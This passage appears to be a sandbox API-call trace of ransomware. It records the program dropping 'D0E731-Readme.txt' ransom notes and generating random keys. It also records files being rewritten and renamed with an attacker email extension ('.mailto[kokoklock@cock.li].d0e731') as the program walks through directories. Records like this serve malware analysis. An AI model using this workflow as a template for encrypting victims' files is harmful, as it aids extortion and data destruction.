Size=0xc8) returned 0x33f8248 [0078.326] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" [0078.326] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\D0E731-Readme.txt" [0078.326] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\d0e731-readme.txt")) returned 0xffffffff [0078.327] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa1c [0078.327] WriteFile (in: hFile=0xa1c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1ffbfc90, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1ffbfc90*=0x481, lpOverlapped=0x0) returned 1 [0078.328] CloseHandle (hObject=0xa1c) returned 1 [0078.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434c38) returned 1 [0078.328] RtlExitUserThread (Status=0x1) Thread: id = 870 os_tid = 0x149c [0078.329] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml")) returned 0x20 [0078.330] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0078.330] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa1c [0078.330] GetFileSizeEx (in: hFile=0xa1c, lpFileSize=0x2003fbe4 | out: lpFileSize=0x2003fbe4*=271) returned 1 [0078.330] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.330] ReadFile (in: hFile=0xa1c, lpBuffer=0x2003fbb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2003fbb4, lpOverlapped=0x0 | out: lpBuffer=0x2003fbb8*, lpNumberOfBytesRead=0x2003fbb4*=0x4, lpOverlapped=0x0) returned 1 [0078.331] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.331] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.331] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d20 [0078.331] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34928c0 [0078.331] NtQuerySystemTime (in: CurrentTime=0x2003fb90 | out: CurrentTime=0x2003fb90*=132121176362221419) returned 0x0 [0078.331] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x33fac638 [0078.331] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xe216bcf9 [0078.331] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xd25121a3 [0078.331] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xa7b9673a [0078.331] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xc56909f7 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xa7639497 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xf6fb6074 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x2b7f64e [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xa6601de4 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xf62f3b80 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xe384b4f7 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xb9ec0e09 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x277d6c71 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x34bc172f [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x7144f310 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x41d06d68 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x93d533d8 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xe3de06d7 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xbcb37037 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x809e7a32 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x114a6042 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x1848951d [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x67d11457 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x9341e905 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x866a48b [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x7e0dbd8d [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x83b394af [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x989e3820 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xe06a36c2 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0xd58a2df9 [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x3d26b4dc [0078.332] RtlRandom (in: Seed=0x2003fb9c | out: Seed=0x2003fb9c) returned 0x3e471197 [0078.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0078.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0078.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.350] ReadFile (in: hFile=0xa1c, lpBuffer=0x348d230, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x2003fb90, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2003fb90*=0x10f, lpOverlapped=0x0) returned 1 [0078.350] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2003fb58 | out: lpNewFilePointer=0x0) returned 1 [0078.350] WriteFile (in: hFile=0xa1c, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x2003fb8c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2003fb8c*=0x10f, lpOverlapped=0x0) returned 1 [0078.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0078.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0078.350] WriteFile (in: hFile=0xa1c, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2003fb88, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x2003fb88*=0x20, lpOverlapped=0x0) returned 1 [0078.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.351] WriteFile (in: hFile=0xa1c, lpBuffer=0x3492910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2003fbb4, lpOverlapped=0x0 | out: lpBuffer=0x3492910*, lpNumberOfBytesWritten=0x2003fbb4*=0x8, lpOverlapped=0x0) returned 1 [0078.351] WriteFile (in: hFile=0xa1c, lpBuffer=0x2003fbcc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2003fbb4, lpOverlapped=0x0 | out: lpBuffer=0x2003fbcc*, lpNumberOfBytesWritten=0x2003fbb4*=0x4, lpOverlapped=0x0) returned 1 [0078.351] WriteFile (in: hFile=0xa1c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2003fbb4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2003fbb4*=0x4, lpOverlapped=0x0) returned 1 [0078.351] WriteFile (in: hFile=0xa1c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2003fbb4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2003fbb4*=0x6c, lpOverlapped=0x0) returned 1 [0078.351] WriteFile (in: hFile=0xa1c, lpBuffer=0x3492d20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2003fbb4, lpOverlapped=0x0 | out: lpBuffer=0x3492d20*, lpNumberOfBytesWritten=0x2003fbb4*=0x20, lpOverlapped=0x0) returned 1 [0078.351] WriteFile (in: hFile=0xa1c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2003fbb4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2003fbb4*=0x4, lpOverlapped=0x0) returned 1 [0078.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d20) returned 1 [0078.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0078.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492910) returned 1 [0078.351] CloseHandle (hObject=0xa1c) returned 1 [0078.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33e8f08 [0078.352] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" [0078.352] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0078.352] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.353] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.353] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0078.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.353] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" [0078.353] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\D0E731-Readme.txt" [0078.353] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\d0e731-readme.txt")) returned 0x20 [0078.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476508) returned 1 [0078.354] RtlExitUserThread (Status=0x1) Thread: id = 871 os_tid = 0x14a0 [0078.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x34296c8 [0078.356] wcscpy (in: _Dest=0x34296c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" [0078.356] wcscat (in: _Dest=0x34296c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\" [0078.356] wcscat (in: _Dest=0x34296c8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*" [0078.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3040 [0078.356] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*", lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e05d8 [0078.356] wcscmp (_String1=".", _String2=".") returned 0 [0078.356] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.357] wcscmp (_String1="..", _String2=".") returned 1 [0078.357] wcscmp (_String1="..", _String2="..") returned 0 [0078.357] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0078.357] wcscmp (_String1="RunTime", _String2=".") returned 1 [0078.357] wcscmp (_String1="RunTime", _String2="..") returned 1 [0078.357] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3432618 [0078.357] wcscpy (in: _Dest=0x3432618, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" [0078.357] wcscat (in: _Dest=0x3432618, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\" [0078.357] wcscat (in: _Dest=0x3432618, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" [0083.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3432618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0083.037] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0083.037] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0083.037] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0083.037] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f7208 [0083.037] wcscpy (in: _Dest=0x33f7208, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" [0083.037] wcscat (in: _Dest=0x33f7208, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\" [0083.037] wcscat (in: _Dest=0x33f7208, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" [0083.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0083.038] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0083.038] FindClose (in: hFindFile=0x33e05d8 | out: hFindFile=0x33e05d8) returned 1 [0083.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3040) returned 1 [0083.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34296c8) returned 1 [0083.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429838) returned 1 [0083.042] RtlExitUserThread (Status=0x0) Thread: id = 872 os_tid = 0x14a4 [0078.357] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml")) returned 0x20 [0078.358] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0078.358] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0078.358] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x2013f80c | out: lpFileSize=0x2013f80c*=2229) returned 1 [0078.358] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x8b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.358] ReadFile (in: hFile=0x5c0, lpBuffer=0x2013f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2013f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2013f7e0*, lpNumberOfBytesRead=0x2013f7dc*=0x4, lpOverlapped=0x0) returned 1 [0078.360] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.360] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.360] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d20 [0078.360] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34928e8 [0078.360] NtQuerySystemTime (in: CurrentTime=0x2013f7b8 | out: CurrentTime=0x2013f7b8*=132121176362535515) returned 0x0 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0xa2866d52 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0xe70ca3ba [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0xd982a8b9 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x5ab94b03 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x338842e2 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x2a9eb3cc [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x80b68dfd [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x357fe06 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x35bd78ba [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0xdfb5a71e [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x102e69a4 [0078.360] RtlRandom (in: 